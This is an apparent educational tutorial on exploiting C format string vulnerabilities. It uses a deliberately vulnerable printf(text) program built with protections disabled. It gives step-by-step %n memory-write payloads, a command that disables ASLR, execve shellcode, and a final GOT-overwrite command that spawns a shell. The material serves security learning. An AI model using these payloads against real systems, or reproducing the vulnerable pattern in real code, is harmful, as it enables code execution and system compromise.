Format string vulnerability

What’s a format string vulnerability?

A format string vulnerability is a type of bug that can happen when we process user input with format strings. For example, C has several functions that allow it to do that. One of them is printf (e.g. printf("I am %i years old", 999);). An attacker can exploit them to read and write to arbitrary memory locations, execute arbitrary code or make the program crash.

What’s the problem?

The main problem is that the format string, when unchecked, let’s user insert format parameters to read and write memory addresses inside and before the stack. For example, let’s take the following C line of code.

printf("hello %x %x", 3, 7);

If we run it, the output will be hello 3 7. The parameters are pushed into the stack in reverse order. It pushes the 7, the 3, and the address of the format string. However, if we remove the 7 and rerun it, we will see something like hello 3 0xbfffff8b. The format string will get the data from where the argument should have been placed. In that case, from the first address below the stack frame.

Format String vulnerability demo

All the vulnerable programs are from Hacking: The Art of Exploitation, 2nd Edition. You can get the original source code https://github.com/intere/hacking/blob/master/booksrc.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
   char text[1024];
   static int test_val = -72;

   if(argc < 2) {
      printf("Usage: %s <text to print>\n", argv[0]);
      exit(0);
   }
   strcpy(text, argv[1]);

   printf("The right way to print user-controlled input:\n");
   printf("%s", text);


   printf("\nThe wrong way to print user-controlled input:\n");
   printf(text);

   printf("\n");

   // Debug output
   printf("[*] test_val @ 0x%08x = %d 0x%08x\n", &test_val, test_val, test_val);

   exit(0);
}

The code is quite self-explanatory. The vulnerable line of code is: printf(text). Notice that it will print whatever the user feeds to it as input. We can pass any format string that we want. Before continuing, let’s see how to compile the program.

gcc fmt_vuln.c -o fmt.out -fno-stack-protector -no-pie -m32

Let’s continue with the exploit. The following image shows two executions.

The first executions gets "something" as input. The output is the expected one. The interesting part is in the second execution, where we pass $(printf "\x2c\xc0\x04\x08").%08x.%08x.%08x.%n as input (the dots are just to make the output clearer). As a result, we overwrite the test_val variable. How is that possible? Let’s see. The format string is crafted to accomplish three things. First, we push the test_val memory address into the stack with $(printf "\x2c\xc0\x04\x08"). Second, we read memory address until we reach the data we inserted at the beginning of the format string with %08x.%08x.%08x. I didn’t know beforehand that I needed to read three addresses, I checked it manually. Third and last, we overwrite the data in test_val with the number of characters printed by printf with %n. For clarification, when we call %n, we already traversed all the memory addresses until the one containing \x2c\xc0\x04\x08. Therefore, %n overwrites the data in that memory address, which happens to be test_val.

Similarly, if we increment the width of some of the format string parameters, we can overwrite test_val with higher values.

That’s seemingly stupid thing is really powerful. We can overwrite memory addresses with whatever value we want (e.g another memory address). That’s the idea of the exploit. Let’s jump to the following exercise.

Write to memory address

In that first exercise, we will see how to overwrite the value with the memory address ddccbbaa. Of course, you can follow these steps to overwrite it with any other memory address of your liking. The only prerequisite is that the hexadecimal values of each byte must be greater than the value of the following one.

To write ddccbbaa, we need go byte by byte. We cannot write them at once. That means that $(printf "\x2c\xc0\x04\x08") won’t be enough. We need to push the following three memory addresses into the stack. We can do that with something like $(printf "{address 1}{address 2}{address 3}{address 4}"). Besides, we also need to overwrite them. For example, $(printf "{address 1}{address 2}{address 3}{address 4}").%08x.%08x.%{number 1}x%n%{number 2}x%n%{number 3}x%n%{number 4}%n, where each %{number}%n is overwriting one byte. There’s one issue, though. We must add 4 bytes between each memory address so that each %n overwrites the correct memory address. Remember, each format parameter is reading a memory address from the stack. If we don’t add 4 bytes between each address, the %{number}x would read one of the memory addresses we want to overwrite. Thus, we want something similar to $(printf "{address 1}JUNK{address 2}JUNK{address 3}JUNK{address 4}").%08x.%08x.%{number 1}x%n%{number 2}x%n%{number 3}x%n%{number 4}%n.

Great! We have the structure, but how do we compute the numbers for each %x?

For the firts byte, we want to execute the command

./fmt.out $(printf "\x2c\xc0\x04\x08JUNK\x2d\xc0\x04\x08JUNK\x2e\xc0\x04\x08JUNK\x2f\xc0\x04\x08").%08x.%08x.%08x.%n

which will give us the value of test_val (56). With that, we can compute the first number with the formula “expected value - initial value + 8”. That will give us the distance from the actual value stored in the variable to the value we want. The ”+ 8” comes from the 8 digits we are inserting in the %08x that appears before %n. We can compute this with gdb.

gdb -q --batch --ex "p 0xaa - 56 + 8"

Now, we can execute the following to get the first byte.

For the following bytes, we have to do the same. However, to compute the numbers, we will use the formula “expected value - previous written value”.

Awesome! We know how to overwrite memory addresses, but we are rather limited. The bytes must be ordered in descending value. What if we want to write any arbitrary memory address? We cannot do something like %-10x%n. What do we do in those situations?

Write arbitrary bytes to memory address

The solution for that is straigth forward. We want to “wrap” the smaller byte. In other words, instead of computing “expected value - previous written value” we will compute “1(expected value) - previous written value” (e.g. 0x1aa - 0xbb given that we want to write 0xaa). The procedure stays the same.

Amazing! But this is to much work, can’t we simplify it a little bit?

Direct access and short writes

There are two ways to simplify the process. First, we can use direct access to avoid writing numerous format parameters. We can use %n$d where %n indicates the argument position and $d indicates the format parameter type.

We can simplify what we did in the previous section. Be aware that the structure changes a bit. We want to use $(printf "{address 1}{address 2}{address 3}{address 4}")%{number 1}x%4\$n%{number 2}x%5\$n%{number 3}x%6\$n%{number 4}x%7\$n%. Notice that we no longer need:

But that’s not all. We can also use short writes to write two bytes at once. We need to use %n$hd, remove the second and fourth memory addresses, and compute the new values.

Pretty neat, eh? With that knowledge, we could get a shell if we wanted to.

Overwrite Global Offset Table to get a shell

The Global Offset Table (GOT) is a section of a computer program that holds the memory addresses of functions that are dinamically linked. It’s useful to call functions from shared libraries. We will rewrite a memory address there with the address of our shellcode, but first, let’s see how to compile the program.

gcc fmt_vuln.c -o fmt.out -fno-stack-protector -no-pie -z norelro -z execstack -m32

Notice that we added -z norelro to allow overwriting memory addresses in the GOT, and -z execstack to require executable stack.

We also need to disable the Adress Space Layout Randomization (ASLR) to avoid random memory addreses.

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Now, the idea is pretty simple. We want to overwrite the memory address of the exit function in the GOT table. For that, we will need a couple of things.

We need a 32 bits shellcode. We can get one with the following C program. I got it from https://shell-storm.org/.

#include <stdio.h>
#include <string.h>

char *shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
  "\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";

int main(void)
{
  fprintf(stdout,"Length: %d\n",strlen(shellcode));
  (*(void(*)()) shellcode)();
  return 0;
}

We also need a program to get the shellcode address. We will store in an environment variable.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
  char *ptr;

  if(argc < 3) {
    printf("Usage: %s <environment variable> <target program name>\n", argv[0]);
    exit(0);
  }
  ptr = getenv(argv[1]); /* get env var location */
  ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */
  printf("%s will be at %p\n", argv[1], ptr);
}

From that point, the procedure is pretty straight forward.

  1. Store shellcode in an environment variable

    export SHELLCODE=$(cat shellcode.bin)

  2. Get shellcode address

    ./getenv.out SHELLCODE ./fmt.out

  3. Compute the values we will put at the format string exploit for the given shellcode address

    gdb -q --batch --ex "p 0xffff - 8"
# 65527
gdb -q --batch --ex "p 0x1d9b8 - 0xffff"
# 55737

  4. Get exit address in GOT

  5. Exploit

    ./fmt.out $(printf "\x7a\xb2\x04\x08\x78\xb2\x04\x08")%65527x%4\$hn%55737x%5\$hn

Conclusion

Don’t execute format string inputted by the users. Thanks. That will save you lots of headaches.